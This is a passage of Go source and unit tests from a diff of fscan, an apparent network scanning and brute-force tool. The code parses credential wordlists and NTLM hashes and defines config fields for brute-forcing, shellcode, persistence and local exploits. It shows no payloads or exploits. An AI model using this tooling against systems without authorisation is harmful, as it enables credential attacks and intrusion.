tt.key, tt.expected[:20], actual[:20])
|
||||
}
|
||||
|
||||
t.Logf("✓ %s 映射正确", tt.key)
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
// 探测器配置测试
|
||||
// =============================================================================
|
||||
|
||||
// TestDefaultProbeMap_NoEmpty 测试默认探测器列表非空
|
||||
func TestDefaultProbeMap_NoEmpty(t *testing.T) {
|
||||
if len(DefaultProbeMap) == 0 {
|
||||
t.Error("DefaultProbeMap不应为空")
|
||||
return
|
||||
}
|
||||
|
||||
// 验证每个探测器名称非空
|
||||
for i, probe := range DefaultProbeMap {
|
||||
if probe == "" {
|
||||
t.Errorf("第%d个探测器名称为空", i+1)
|
||||
}
|
||||
}
|
||||
|
||||
t.Logf("✓ DefaultProbeMap包含%d个探测器", len(DefaultProbeMap))
|
||||
}
|
||||
|
||||
// TestDefaultPortMap_ValidKeys 测试DefaultPortMap的键有效
|
||||
func TestDefaultPortMap_ValidKeys(t *testing.T) {
|
||||
invalidPorts := []int{}
|
||||
|
||||
for port := range DefaultPortMap {
|
||||
if port < 1 || port > 65535 {
|
||||
invalidPorts = append(invalidPorts, port)
|
||||
}
|
||||
}
|
||||
|
||||
if len(invalidPorts) > 0 {
|
||||
t.Errorf("DefaultPortMap包含无效端口号: %v", invalidPorts)
|
||||
} else {
|
||||
t.Logf("✓ DefaultPortMap的%d个端口号都有效", len(DefaultPortMap))
|
||||
}
|
||||
}
|
||||
|
||||
// TestDefaultPortMap_NoEmptyValues 测试DefaultPortMap值非空
|
||||
func TestDefaultPortMap_NoEmptyValues(t *testing.T) {
|
||||
emptyPorts := []int{}
|
||||
|
||||
for port, probes := range DefaultPortMap {
|
||||
if len(probes) == 0 {
|
||||
emptyPorts = append(emptyPorts, port)
|
||||
}
|
||||
}
|
||||
|
||||
if len(emptyPorts) > 0 {
|
||||
t.Errorf("以下端口的探测器列表为空: %v", emptyPorts)
|
||||
} else {
|
||||
t.Logf("✓ DefaultPortMap所有端口都有探测器")
|
||||
}
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
// 字典数据测试
|
||||
// =============================================================================
|
||||
|
||||
// TestDefaultUserDict_NoEmptyKeys 测试DefaultUserDict键非空
|
||||
func TestDefaultUserDict_NoEmptyKeys(t *testing.T) {
|
||||
for service, users := range DefaultUserDict {
|
||||
if service == "" {
|
||||
t.Error("DefaultUserDict包含空服务名")
|
||||
}
|
||||
|
||||
if len(users) == 0 {
|
||||
t.Errorf("服务 '%s' 的用户列表为空", service)
|
||||
}
|
||||
}
|
||||
|
||||
t.Logf("✓ DefaultUserDict包含%d个服务", len(DefaultUserDict))
|
||||
}
|
||||
|
||||
// TestDefaultUserDict_CommonServices 测试DefaultUserDict包含常见服务
|
||||
func TestDefaultUserDict_CommonServices(t *testing.T) {
|
||||
commonServices := []string{"ftp", "mysql", "mssql", "ssh", "redis", "mongodb"}
|
||||
|
||||
for _, service := range commonServices {
|
||||
if _, ok := DefaultUserDict[service]; !ok {
|
||||
t.Errorf("DefaultUserDict缺少常见服务: %s", service)
|
||||
}
|
||||
}
|
||||
|
||||
t.Logf("✓ DefaultUserDict包含所有常见服务")
|
||||
}
|
||||
|
||||
// TestDefaultUserDict_AllowsEmptyUser 测试DefaultUserDict允许空用户名
|
||||
//
|
||||
// 验证:某些服务(如redis)允许空用户名
|
||||
func TestDefaultUserDict_AllowsEmptyUser(t *testing.T) {
|
||||
// redis服务应该包含空用户名
|
||||
redisUsers, ok := DefaultUserDict["redis"]
|
||||
if !ok {
|
||||
t.Skip("DefaultUserDict不包含redis,跳过测试")
|
||||
return
|
||||
}
|
||||
|
||||
hasEmptyUser := false
|
||||
for _, user := range redisUsers {
|
||||
if user == "" {
|
||||
hasEmptyUser = true
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
if !hasEmptyUser {
|
||||
t.Error("redis用户列表应该包含空用户名(默认无认证)")
|
||||
} else {
|
||||
t.Logf("✓ redis用户列表正确包含空用户名")
|
||||
}
|
||||
}
|
||||
|
||||
// TestDefaultPasswords_NoEmpty 测试DefaultPasswords非空
|
||||
func TestDefaultPasswords_NoEmpty(t *testing.T) {
|
||||
if len(DefaultPasswords) == 0 {
|
||||
t.Error("DefaultPasswords不应为空")
|
||||
return
|
||||
}
|
||||
|
||||
t.Logf("✓ DefaultPasswords包含%d个密码", len(DefaultPasswords))
|
||||
}
|
||||
|
||||
// TestDefaultPasswords_AllowsEmptyPassword 测试DefaultPasswords允许空密码
|
||||
func TestDefaultPasswords_AllowsEmptyPassword(t *testing.T) {
|
||||
// 应该包含空密码(某些服务默认无密码)
|
||||
hasEmptyPassword := false
|
||||
for _, pass := range DefaultPasswords {
|
||||
if pass == "" {
|
||||
hasEmptyPassword = true
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
if !hasEmptyPassword {
|
||||
t.Error("DefaultPasswords应该包含空密码(某些服务默认无密码)")
|
||||
} else {
|
||||
t.Logf("✓ DefaultPasswords正确包含空密码")
|
||||
}
|
||||
}
|
||||
|
||||
// TestDefaultPasswords_HasPlaceholder 测试DefaultPasswords包含占位符
|
||||
func TestDefaultPasswords_HasPlaceholder(t *testing.T) {
|
||||
// 应该包含{user}占位符(密码=用户名的场景)
|
||||
hasPlaceholder := false
|
||||
for _, pass := range DefaultPasswords {
|
||||
if strings.Contains(pass, "{user}") {
|
||||
hasPlaceholder = true
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
if !hasPlaceholder {
|
||||
t.Error("DefaultPasswords应该包含{user}占位符(密码=用户名变体)")
|
||||
} else {
|
||||
t.Logf("✓ DefaultPasswords正确包含{user}占位符")
|
||||
}
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
// 结构体测试
|
||||
// =============================================================================
|
||||
|
||||
// TestPocInfo_Fields 测试PocInfo结构体字段
|
||||
func TestPocInfo_Fields(t *testing.T) {
|
||||
poc := PocInfo{
|
||||
Target: "http://example.com",
|
||||
PocName: "test-poc",
|
||||
}
|
||||
|
||||
if poc.Target != "http://example.com" {
|
||||
t.Error("PocInfo.Target赋值失败")
|
||||
}
|
||||
|
||||
if poc.PocName != "test-poc" {
|
||||
t.Error("PocInfo.PocName赋值失败")
|
||||
}
|
||||
|
||||
t.Logf("✓ PocInfo结构体正常工作")
|
||||
}
|
||||
|
||||
// TestCredentialPair_Fields 测试CredentialPair结构体字段
|
||||
func TestCredentialPair_Fields(t *testing.T) {
|
||||
cred := CredentialPair{
|
||||
Username: "admin",
|
||||
Password: "password123",
|
||||
}
|
||||
|
||||
if cred.Username != "admin" {
|
||||
t.Error("CredentialPair.Username赋值失败")
|
||||
}
|
||||
|
||||
if cred.Password != "password123" {
|
||||
t.Error("CredentialPair.Password赋值失败")
|
||||
}
|
||||
|
||||
t.Logf("✓ CredentialPair结构体正常工作")
|
||||
}
|
||||
@@ -0,0 +1,384 @@
|
||||
package common
|
||||
|
||||
import (
|
||||
"encoding/hex"
|
||||
"fmt"
|
||||
"net"
|
||||
"net/url"
|
||||
"strconv"
|
||||
"strings"
|
||||
|
||||
"github.com/shadow1ng/fscan/common/config"
|
||||
"github.com/shadow1ng/fscan/common/i18n"
|
||||
"github.com/shadow1ng/fscan/common/parsers"
|
||||
)
|
||||
|
||||
/*
|
||||
config_builder.go - 统一配置构建入口
|
||||
|
||||
从 FlagVars 直接构建 Config 和 State,消除中间层。
|
||||
*/
|
||||
|
||||
// BuildConfig 从 FlagVars 构建完整的 Config 和 State
|
||||
// 这是新的统一入口,替代原来的 Parse() + BuildConfigFromFlags() + updateGlobalVariables()
|
||||
func BuildConfig(fv *FlagVars, info *HostInfo) (*Config, *State, error) {
|
||||
// 1. 构建基础 Config(从 flag_config.go 的 BuildConfigFromFlags)
|
||||
cfg := BuildConfigFromFlags(fv)
|
||||
|
||||
// 2. 创建 State
|
||||
state := NewState()
|
||||
|
||||
// 3. 解析凭据
|
||||
if err := parseCredentials(fv, cfg); err != nil {
|
||||
return nil, nil, fmt.Errorf("%s: %w", i18n.GetText("config_credentials_parse_failed"), err)
|
||||
}
|
||||
|
||||
// 4. 解析目标(主机、端口、URL)
|
||||
if err := parseTargets(fv, info, cfg, state); err != nil {
|
||||
return nil, nil, fmt.Errorf("%s: %w", i18n.GetText("config_targets_parse_failed"), err)
|
||||
}
|
||||
|
||||
// 5. 应用日志级别
|
||||
applyLogLevelFromConfig(fv)
|
||||
|
||||
return cfg, state, nil
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
// 凭据解析
|
||||
// =============================================================================
|
||||
|
||||
func parseCredentials(fv *FlagVars, cfg *Config) error {
|
||||
// 解析用户名
|
||||
usernames, err := parseUsernames(fv)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if len(usernames) > 0 {
|
||||
for serviceName := range cfg.Credentials.Userdict {
|
||||
cfg.Credentials.Userdict[serviceName] = usernames
|
||||
}
|
||||
}
|
||||
|
||||
// 解析密码
|
||||
passwords, err := parsePasswords(fv)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if len(passwords) > 0 {
|
||||
cfg.Credentials.Passwords = passwords
|
||||
}
|
||||
|
||||
// 解析用户密码对
|
||||
pairs, err := parseUserPassPairs(fv)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if len(pairs) > 0 {
|
||||
cfg.Credentials.UserPassPairs = pairs
|
||||
}
|
||||
|
||||
// 解析哈希
|
||||
hashValues, hashBytes, err := parseHashes(fv)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if len(hashValues) > 0 {
|
||||
cfg.Credentials.HashValues = hashValues
|
||||
cfg.Credentials.HashBytes = hashBytes
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func parseUsernames(fv *FlagVars) ([]string, error) {
|
||||
var usernames []string
|
||||
|
||||
// 命令行用户名
|
||||
if fv.Username != "" {
|
||||
for _, u := range strings.Split(fv.Username, ",") {
|
||||
u = strings.TrimSpace(u)
|
||||
if u != "" {
|
||||
usernames = append(usernames, u)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 从文件读取
|
||||
if fv.UsersFile != "" {
|
||||
if lines, err := parsers.ReadLinesFromFile(fv.UsersFile); err == nil {
|
||||
usernames = append(usernames, lines...)
|
||||
} else {
|
||||
return nil, fmt.Errorf("%s", i18n.Tr("config_read_users_failed", fv.UsersFile, err))
|
||||
}
|
||||
}
|
||||
|
||||
// 额外用户名
|
||||
if fv.AddUsers != "" {
|
||||
for _, u := range strings.Split(fv.AddUsers, ",") {
|
||||
u = strings.TrimSpace(u)
|
||||
if u != "" {
|
||||
usernames = append(usernames, u)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return removeDuplicate(usernames), nil
|
||||
}
|
||||
|
||||
func parsePasswords(fv *FlagVars) ([]string, error) {
|
||||
var passwords []string
|
||||
|
||||
// 命令行密码(支持逗号分隔多个值,保留空格作为密码的一部分)
|
||||
if fv.Password != "" {
|
||||
for _, p := range strings.Split(fv.Password, ",") {
|
||||
p = strings.TrimSpace(p)
|
||||
if p != "" {
|
||||
passwords = append(passwords, p)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 从文件读取
|
||||
if fv.PasswordsFile != "" {
|
||||
if lines, err := parsers.ReadLinesFromFile(fv.PasswordsFile); err == nil {
|
||||
passwords = append(passwords, lines...)
|
||||
} else {
|
||||
return nil, fmt.Errorf("%s", i18n.Tr("config_read_passwords_failed", fv.PasswordsFile, err))
|
||||
}
|
||||
}
|
||||
|
||||
// 额外密码
|
||||
if fv.AddPasswords != "" {
|
||||
passwords = append(passwords, splitCredentialValues(fv.AddPasswords)...)
|
||||
}
|
||||
|
||||
return removeDuplicate(passwords), nil
|
||||
}
|
||||
|
||||
func splitCredentialValues(input string) []string {
|
||||
fields := strings.FieldsFunc(input, func(r rune) bool {
|
||||
return r == ',' || r == ' ' || r == '\t' || r == '\n' || r == '\r'
|
||||
})
|
||||
|
||||
values := make([]string, 0, len(fields))
|
||||
for _, field := range fields {
|
||||
field = strings.TrimSpace(field)
|
||||
if field != "" {
|
||||
values = append(values, field)
|
||||
}
|
||||
}
|
||||
return values
|
||||
}
|
||||
|
||||
func parseUserPassPairs(fv *FlagVars) ([]config.CredentialPair, error) {
|
||||
var pairs []config.CredentialPair
|
||||
|
||||
// 如果命令行同时指定了单个用户名和单个密码(不是逗号分隔的多个)
|
||||
if fv.Username != "" && fv.Password != "" &&
|
||||
!strings.Contains(fv.Username, ",") && !strings.Contains(fv.Password, ",") &&
|
||||
fv.AddUsers == "" && fv.AddPasswords == "" &&
|
||||
fv.UsersFile == "" && fv.PasswordsFile == "" && fv.UserPassFile == "" {
|
||||
pairs = append(pairs, config.CredentialPair{
|
||||
Username: strings.TrimSpace(fv.Username),
|
||||
Password: fv.Password,
|
||||
})
|
||||
return pairs, nil
|
||||
}
|
||||
|
||||
// 从文件读取用户密码对
|
||||
if fv.UserPassFile != "" {
|
||||
filePairs, err := parsers.ParseUserPassFile(fv.UserPassFile)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
pairs = append(pairs, filePairs...)
|
||||
}
|
||||
|
||||
return pairs, nil
|
||||
}
|
||||
|
||||
func parseHashes(fv *FlagVars) ([]string, [][]byte, error) {
|
||||
var hashValues []string
|
||||
var hashBytes [][]byte
|
||||
|
||||
// 命令行哈希(支持纯 NTLM 32字符 或 LM:NT 格式)
|
||||
if fv.HashValue != "" {
|
||||
hash := strings.TrimSpace(fv.HashValue)
|
||||
// LM:NT 格式取 NT hash 部分
|
||||
if parts := strings.SplitN(hash, ":", 2); len(parts) == 2 && len(parts[1]) == 32 {
|
||||
hash = parts[1]
|
||||
}
|
||||
if len(hash) != 32 {
|
||||
return nil, nil, fmt.Errorf("invalid hash length: %s", fv.HashValue)
|
||||
}
|
||||
hashByte, err := hex.DecodeString(hash)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
hashValues = append(hashValues, hash)
|
||||
hashBytes = append(hashBytes, hashByte)
|
||||
}
|
||||
|
||||
// 从文件读取
|
||||
if fv.HashFile != "" {
|
||||
fileHashes, fileHashBytes, err := parsers.ParseHashFile(fv.HashFile)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
hashValues = append(hashValues, fileHashes...)
|
||||
hashBytes = append(hashBytes, fileHashBytes...)
|
||||
}
|
||||
|
||||
return hashValues, hashBytes, nil
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
// 目标解析
|
||||
// =============================================================================
|
||||
|
||||
func parseTargets(fv *FlagVars, info *HostInfo, cfg *Config, state *State) error {
|
||||
// 检查是否为 host:port 格式
|
||||
ports := fv.Ports
|
||||
if info.Host != "" && strings.Contains(info.Host, ":") {
|
||||
if _, portStr, err := net.SplitHostPort(info.Host); err == nil {
|
||||
if port, portErr := strconv.Atoi(portStr); portErr == nil && port >= 1 && port <= 65535 {
|
||||
// 有效的 host:port 格式
|
||||
state.SetHostPorts([]string{info.Host})
|
||||
info.Host = ""
|
||||
ports = "" // 清空端口,避免双重扫描
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 解析 URL
|
||||
urls, err := parseURLs(fv)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if len(urls) > 0 {
|
||||
state.SetURLs(urls)
|
||||
if info.URL == "" && len(urls) == 1 {
|
||||
info.URL = urls[0]
|
||||
}
|
||||
}
|
||||
|
||||
// 更新端口配置
|
||||
if ports != "" {
|
||||
cfg.Target.Ports = ports
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func parseURLs(fv *FlagVars) ([]string, error) {
|
||||
var urls []string
|
||||
|
||||
// 命令行 URL
|
||||
if fv.TargetURL != "" {
|
||||
for _, u := range strings.Split(fv.TargetURL, ",") {
|
||||
u = strings.TrimSpace(u)
|
||||
if u != "" {
|
||||
urls = append(urls, normalizeURL(u))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 从文件读取
|
||||
if fv.URLsFile != "" {
|
||||
if lines, err := parsers.ReadLinesFromFile(fv.URLsFile); err == nil {
|
||||
for _, line := range lines {
|
||||
urls = append(urls, normalizeURL(line))
|
||||
}
|
||||
} else {
|
||||
return nil, fmt.Errorf("%s", i18n.Tr("config_read_urls_failed", fv.URLsFile, err))
|
||||
}
|
||||
}
|
||||
|
||||
return removeDuplicate(urls), nil
|
||||
}
|
||||
|
||||
func normalizeURL(rawURL string) string {
|
||||
rawURL = strings.TrimSpace(rawURL)
|
||||
if rawURL == "" {
|
||||
return rawURL
|
||||
}
|
||||
lowerURL := strings.ToLower(rawURL)
|
||||
if !strings.HasPrefix(lowerURL, "http://") && !strings.HasPrefix(lowerURL, "https://") {
|
||||
return "http://" + normalizeSchemelessURLTarget(rawURL)
|
||||
}
|
||||
parsed, err := url.Parse(rawURL)
|
||||
if err != nil || parsed.Host == "" {
|
||||
return rawURL
|
||||
}
|
||||
normalizedHost := normalizeURLHost(parsed.Host)
|
||||
if normalizedHost == parsed.Host {
|
||||
return rawURL
|
||||
}
|
||||
parsed.Host = normalizedHost
|
||||
normalized := parsed.String()
|
||||
if schemeEnd := strings.Index(rawURL, "://"); schemeEnd >= 0 {
|
||||
return rawURL[:schemeEnd] + normalized[len(parsed.Scheme):]
|
||||
}
|
||||
return normalized
|
||||
}
|
||||
|
||||
func normalizeSchemelessURLTarget(rawURL string) string {
|
||||
authority := rawURL
|
||||
suffix := ""
|
||||
if idx := strings.IndexAny(rawURL, "/?#"); idx >= 0 {
|
||||
authority = rawURL[:idx]
|
||||
suffix = rawURL[idx:]
|
||||
}
|
||||
return normalizeURLHost(authority) + suffix
|
||||
}
|
||||
|
||||
func normalizeURLHost(host string) string {
|
||||
if strings.HasPrefix(host, "[") {
|
||||
return host
|
||||
}
|
||||
if ip := net.ParseIP(host); ip != nil && strings.Contains(host, ":") {
|
||||
return "[" + host + "]"
|
||||
}
|
||||
return host
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
// 日志级别应用
|
||||
// =============================================================================
|
||||
|
||||
func applyLogLevelFromConfig(fv *FlagVars) {
|
||||
if fv.LogLevel == "" {
|
||||
return
|
||||
}
|
||||
// 调用已有的 applyLogLevel 函数
|
||||
applyLogLevel()
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
// 辅助函数
|
||||
// =============================================================================
|
||||
|
||||
func removeDuplicate(old []string) []string {
|
||||
if len(old) <= 1 {
|
||||
return old
|
||||
}
|
||||
|
||||
temp := make(map[string]struct{}, len(old))
|
||||
result := make([]string, 0, len(old))
|
||||
|
||||
for _, item := range old {
|
||||
if _, exists := temp[item]; !exists {
|
||||
temp[item] = struct{}{}
|
||||
result = append(result, item)
|
||||
}
|
||||
}
|
||||
|
||||
return result
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
// 保留 BuildConfigFromFlags 的原有实现(从 flag_config.go 移入)
|
||||
// =============================================================================
|
||||
|
||||
// BuildConfigFromFlags 已在 flag_config.go 中定义,这里不重复
|
||||
@@ -0,0 +1,194 @@
|
||||
package common
|
||||
|
||||
import (
|
||||
"reflect"
|
||||
"testing"
|
||||
|
||||
fscanconfig "github.com/shadow1ng/fscan/common/config"
|
||||
)
|
||||
|
||||
func TestParsePasswordsKeepsPrimaryPasswordLiteral(t *testing.T) {
|
||||
fv := &FlagVars{
|
||||
Password: "root admin,pass0",
|
||||
AddPasswords: "pass1 pass2,pass3\tpass4",
|
||||
}
|
||||
|
||||
got, err := parsePasswords(fv)
|
||||
if err != nil {
|
||||
t.Fatalf("parsePasswords error = %v", err)
|
||||
}
|
||||
// -pwd 逗号分隔,空格保留;-pwda 逗号/空格/tab 分隔
|
||||
want := []string{"root admin", "pass0", "pass1", "pass2", "pass3", "pass4"}
|
||||
if !reflect.DeepEqual(got, want) {
|
||||
t.Fatalf("parsePasswords() = %#v, want %#v", got, want)
|
||||
}
|
||||
}
|
||||
|
||||
func TestBuildConfigReturnsUserFileError(t *testing.T) {
|
||||
_, _, err := BuildConfig(&FlagVars{UsersFile: "missing-users-file.txt"}, &HostInfo{})
|
||||
if err == nil {
|
||||
t.Fatal("BuildConfig should fail for missing users file")
|
||||
}
|
||||
}
|
||||
|
||||
func TestBuildConfigReturnsPasswordFileError(t *testing.T) {
|
||||
_, _, err := BuildConfig(&FlagVars{PasswordsFile: "missing-passwords-file.txt"}, &HostInfo{})
|
||||
if err == nil {
|
||||
t.Fatal("BuildConfig should fail for missing passwords file")
|
||||
}
|
||||
}
|
||||
|
||||
func TestBuildConfigReturnsURLFileError(t *testing.T) {
|
||||
_, _, err := BuildConfig(&FlagVars{URLsFile: "missing-urls-file.txt"}, &HostInfo{})
|
||||
if err == nil {
|
||||
t.Fatal("BuildConfig should fail for missing urls file")
|
||||
}
|
||||
}
|
||||
|
||||
func TestBuildConfigRejectsInvalidHashValue(t *testing.T) {
|
||||
_, _, err := BuildConfig(&FlagVars{HashValue: "not-md5"}, &HostInfo{})
|
||||
if err == nil {
|
||||
t.Fatal("BuildConfig should fail for invalid hash value")
|
||||
}
|
||||
}
|
||||
|
||||
func TestBuildConfigDefaultsAreIndependentCopies(t *testing.T) {
|
||||
cfg, _, err := BuildConfig(&FlagVars{Username: "custom-user"}, &HostInfo{})
|
||||
if err != nil {
|
||||
t.Fatalf("BuildConfig error = %v", err)
|
||||
}
|
||||
|
||||
defaultSSHUsers := fscanconfig.DefaultUserDict["ssh"]
|
||||
if len(defaultSSHUsers) == 1 && defaultSSHUsers[0] == "custom-user" {
|
||||
t.Fatal("BuildConfig mutated DefaultUserDict")
|
||||
}
|
||||
|
||||
cfg.Credentials.Userdict["ssh"][0] = "mutated-user"
|
||||
if fscanconfig.DefaultUserDict["ssh"][0] == "mutated-user" {
|
||||
t.Fatal("Config userdict shares backing storage with DefaultUserDict")
|
||||
}
|
||||
|
||||
cfg.Credentials.Passwords[0] = "mutated-password"
|
||||
if fscanconfig.DefaultPasswords[0] == "mutated-password" {
|
||||
t.Fatal("Config passwords share backing storage with DefaultPasswords")
|
||||
}
|
||||
|
||||
port := 80
|
||||
cfg.PortMap[port][0] = "mutated-probe"
|
||||
if fscanconfig.DefaultPortMap[port][0] == "mutated-probe" {
|
||||
t.Fatal("Config port map shares backing storage with DefaultPortMap")
|
||||
}
|
||||
|
||||
cfg.DefaultMap[0] = "mutated-default-probe"
|
||||
if fscanconfig.DefaultProbeMap[0] == "mutated-default-probe" {
|
||||
t.Fatal("Config default map shares backing storage with DefaultProbeMap")
|
||||
}
|
||||
}
|
||||
|
||||
func TestParseUserPassPairsKeepsAdditionalCredentialFlags(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
fv *FlagVars
|
||||
}{
|
||||
{
|
||||
name: "additional passwords",
|
||||
fv: &FlagVars{
|
||||
Username: "root",
|
||||
Password: "primary",
|
||||
AddPasswords: "extra",
|
||||
},
|
||||
},
|
||||
{
|
||||
name: "additional users",
|
||||
fv: &FlagVars{
|
||||
Username: "root",
|
||||
Password: "primary",
|
||||
AddUsers: "admin",
|
||||
},
|
||||
},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
pairs, err := parseUserPassPairs(tt.fv)
|
||||
if err != nil {
|
||||
t.Fatalf("parseUserPassPairs error = %v", err)
|
||||
}
|
||||
if len(pairs) != 0 {
|
||||
t.Fatalf("parseUserPassPairs returned exact pairs %#v; additional credential flags would be ignored", pairs)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestNewConfigDefaultsAreIndependentCopies(t *testing.T) {
|
||||
cfg := NewConfig()
|
||||
|
||||
cfg.Credentials.Userdict["ssh"][0] = "mutated-user"
|
||||
if fscanconfig.DefaultUserDict["ssh"][0] == "mutated-user" {
|
||||
t.Fatal("NewConfig userdict shares backing storage with DefaultUserDict")
|
||||
}
|
||||
|
||||
cfg.Credentials.Passwords[0] = "mutated-password"
|
||||
if fscanconfig.DefaultPasswords[0] == "mutated-password" {
|
||||
t.Fatal("NewConfig passwords share backing storage with DefaultPasswords")
|
||||
}
|
||||
|
||||
port := 80
|
||||
cfg.PortMap[port][0] = "mutated-probe"
|
||||
if fscanconfig.DefaultPortMap[port][0] == "mutated-probe" {
|
||||
t.Fatal("NewConfig port map shares backing storage with DefaultPortMap")
|
||||
}
|
||||
|
||||
cfg.DefaultMap[0] = "mutated-default-probe"
|
||||
if fscanconfig.DefaultProbeMap[0] == "mutated-default-probe" {
|
||||
t.Fatal("NewConfig default map shares backing storage with DefaultProbeMap")
|
||||
}
|
||||
}
|
||||
|
||||
func TestParseTargetsHostPortDoesNotLeaveSyntheticHost(t *testing.T) {
|
||||
fv := &FlagVars{Ports: "22"}
|
||||
info := &HostInfo{Host: "127.0.0.1:8080"}
|
||||
cfg := BuildConfigFromFlags(fv)
|
||||
state := NewState()
|
||||
|
||||
if err := parseTargets(fv, info, cfg, state); err != nil {
|
||||
t.Fatalf("parseTargets error = %v", err)
|
||||
}
|
||||
|
||||
if info.Host != "" {
|
||||
t.Fatalf("info.Host = %q, want empty after host:port extraction", info.Host)
|
||||
}
|
||||
if got := state.GetHostPorts(); !reflect.DeepEqual(got, []string{"127.0.0.1:8080"}) {
|
||||
t.Fatalf("hostPorts = %#v, want host:port target", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestNormalizeURLKeepsUppercaseScheme(t *testing.T) {
|
||||
got := normalizeURL("HTTPS://example.com")
|
||||
if got != "HTTPS://example.com" {
|
||||
t.Fatalf("normalizeURL() = %q", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestNormalizeURLBracketsIPv6Literals(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
in string
|
||||
want string
|
||||
}{
|
||||
{name: "bare ipv6 without scheme", in: "2001:db8::1", want: "http://[2001:db8::1]"},
|
||||
{name: "bracketed ipv6 without scheme", in: "[2001:db8::1]", want: "http://[2001:db8::1]"},
|
||||
{name: "bare ipv6 with scheme", in: "http://2001:db8::1", want: "http://[2001:db8::1]"},
|
||||
{name: "bare ipv6 path without scheme", in: "2001:db8::1/admin", want: "http://[2001:db8::1]/admin"},
|
||||
{name: "bare ipv6 query without scheme", in: "2001:db8::1?debug=1", want: "http://[2001:db8::1]?debug=1"},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
if got := normalizeURL(tt.in); got != tt.want {
|
||||
t.Fatalf("normalizeURL(%q) = %q, want %q", tt.in, got, tt.want)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,240 @@
|
||||
package common
|
||||
|
||||
import (
|
||||
"time"
|
||||
|
||||
"github.com/shadow1ng/fscan/common/config"
|
||||
)
|
||||
|
||||
/*
|
||||
config_struct.go - 配置结构体定义
|
||||
|
||||
简化后的结构:
|
||||
- 高频字段平铺到顶层
|
||||
- 子配置使用值类型(非指针)
|
||||
- 删除过度分类的 AdvancedConfig
|
||||
*/
|
||||
|
||||
// =============================================================================
|
||||
// Config - 扫描器配置
|
||||
// =============================================================================
|
||||
|
||||
// Config 扫描器完整配置 - 初始化后只读,可安全共享
|
||||
type Config struct {
|
||||
// 高频访问字段 - 平铺到顶层
|
||||
Timeout time.Duration // 通用超时
|
||||
TimeoutExplicit bool // 用户显式指定了 -time
|
||||
ThreadNum int // 主线程数
|
||||
ThreadCeiling int // 线程数上限(自适应池允许的最大值)
|
||||
ThreadNumExplicit bool // 用户显式指定了 -t
|
||||
ModuleThreadNum int // 模块线程数
|
||||
ModuleThreadNumExplicit bool // 用户显式指定了 -mt
|
||||
DisableBrute bool // 禁用暴力破解
|
||||
DisablePing bool // 禁用Ping检测
|
||||
DisableTcpProbe bool // 禁用TCP补充探测
|
||||
|
||||
// 扫描模式
|
||||
Mode string // 扫描模式
|
||||
LocalMode bool // 本地模式
|
||||
LocalPlugin string // 本地插件名
|
||||
AliveOnly bool // 仅存活检测
|
||||
MaxRetries int // 最大重试次数
|
||||
MaxRetriesExplicit bool // 用户显式指定了 -retry
|
||||
DetectedNetworkEnv int // 探测到的网络环境(来自 core.NetworkEnv)
|
||||
|
||||
// 高级功能(从AdvancedConfig合并)
|
||||
Shellcode string // Shellcode
|
||||
LocalPluginsList []string // 本地插件列表
|
||||
DNSLog bool // DNSLog检测
|
||||
PersistenceTargetFile string // 持久化目标文件
|
||||
WinPEFile string // WinPE文件
|
||||
PortMap map[int][]string // 端口映射
|
||||
DefaultMap []string // 默认映射
|
||||
|
||||
// 分组配置 - 值类型
|
||||
Credentials CredentialConfig
|
||||
Network NetworkConfig
|
||||
Output OutputConfig
|
||||
POC POCConfig
|
||||
Redis RedisConfig
|
||||
HTTP HTTPConfig
|
||||
LocalExploit LocalExploitConfig
|
||||
Target TargetConfig // 扫描目标配置
|
||||
|
||||
// 全局超时
|
||||
GlobalTimeout time.Duration
|
||||
|
||||
// SOCKS5代理端口配置
|
||||
Socks5ProxyPort int // SOCKS5代理端口
|
||||
}
|
||||
|
||||
// TargetConfig 扫描目标配置
|
||||
type TargetConfig struct {
|
||||
Ports string // 端口范围字符串
|
||||
ExcludePorts string // 排除端口字符串
|
||||
}
|
||||
|
||||
// CredentialConfig 认证相关配置
|
||||
type CredentialConfig struct {
|
||||
Username string
|
||||
Password string
|
||||
Domain string
|
||||
Userdict map[string][]string
|
||||
Passwords []string
|
||||
UserPassPairs []config.CredentialPair
|
||||
HashValues []string
|
||||
HashBytes [][]byte
|
||||
SSHKeyPath string
|
||||
}
|
||||
|
||||
// NetworkConfig 网络相关配置
|
||||
type NetworkConfig struct {
|
||||
HTTPProxy string
|
||||
Socks5Proxy string
|
||||
